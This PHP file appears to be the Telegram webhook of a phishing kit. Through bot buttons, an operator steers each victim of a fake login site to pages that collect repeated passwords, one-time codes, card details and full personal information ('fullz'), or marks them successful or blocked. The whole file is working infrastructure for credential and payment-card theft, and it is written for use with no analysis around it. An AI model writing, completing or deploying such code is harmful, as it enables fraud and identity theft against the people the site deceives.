<?php
include('config.php');

// Get the raw POST data
$update = json_decode(file_get_contents('php://input'), true);
error_log("Telegram webhook received: " . print_r($update, true));

// Verify this is a callback query
if (!isset($update['callback_query'])) {
    error_log("Not a callback query");
    die();
}

$callback_query = $update['callback_query'];
$chat_id = $callback_query['message']['chat']['id'];
$message_id = $callback_query['message']['message_id'];
$callback_id = $callback_query['id'];
$data = $callback_query['data'];

// Extract visitor ID from message text using regex (matches VISITOR-ID format)
preg_match('/VISITOR-ID:\s*(?:<code>)?([a-f0-9]{64})(?:<\/code>)?/', $callback_query['message']['text'], $matches);
$visitor_id = $matches[1] ?? '';

if (empty($visitor_id)) {
    error_log("No visitor ID found in message");
    die();
}

// Handle different button clicks
switch($data) {
    case 'wrong_password':
        $redirect_url = "error.php?id=" . $visitor_id;
        $status = "❌ Wrong Password";
        break;
    case 'otp1':
        $redirect_url = "otp.php?id=" . $visitor_id;
        $status = "🔐 OTP Page 1";
        break;
    case 'otp2':
        $redirect_url = "otp2.php?id=" . $visitor_id;
        $status = "🔐 OTP Page 2";
        break;
    case 'card':
        $redirect_url = "card.php?id=" . $visitor_id;
        $status = "💳 Card Details";
        break;
    case 'fullz':
        $redirect_url = "info.php?id=" . $visitor_id;
        $status = "📝 Personal Info";
        break;
    case 'success':
        $redirect_url = "success.php?id=" . $visitor_id;
        $status = "✅ Success Page";
        break;
    case 'block':
        $redirect_url = "blocked.php?id=" . $visitor_id;
        $status = "🚫 Blocked";
        break;
    default:
        error_log("Unknown callback data: " . $data);
        die();
}

// Update redirects.json with file locking
$redirects_file = __DIR__ . '/session/redirects.json';
if (file_exists($redirects_file)) {
    $fp = fopen($redirects_file, 'r+');
    if ($fp) {
        flock($fp, LOCK_EX); // Exclusive lock
        $redirects = json_decode(fread($fp, filesize($redirects_file)), true);
        
        if (isset($redirects['redirects'][$visitor_id])) {
            // Update visitor's redirect info
            $redirects['redirects'][$visitor_id]['status'] = 'ready';
            $redirects['redirects'][$visitor_id]['redirect_url'] = $redirect_url;
            $redirects['redirects'][$visitor_id]['updated'] = time();
            
            ftruncate($fp, 0);
            rewind($fp);
            fwrite($fp, json_encode($redirects, JSON_PRETTY_PRINT));
            fflush($fp);
            flock($fp, LOCK_UN);
            fclose($fp);
        } else {
            flock($fp, LOCK_UN);
            fclose($fp);
        }
    }
}

// Update original message to show selected action
$update_message = [
    'chat_id' => $chat_id,
    'message_id' => $message_id,
    'text' => $callback_query['message']['text'] . "\n\n🔄 Status: {$status}\n⏰ Updated: " . date('Y-m-d H:i:s'),
    'parse_mode' => 'HTML'
];

$website = "https://api.telegram.org/bot{$settings['bot_url']}";
$ch = curl_init($website . '/editMessageText');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ($update_message));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

// Answer callback query
$answer = [
    'callback_query_id' => $callback_id,
    'text' => "✅ Action set: {$status}",
    'show_alert' => true
];

$ch = curl_init($website . '/answerCallbackQuery');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ($answer));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);
?> 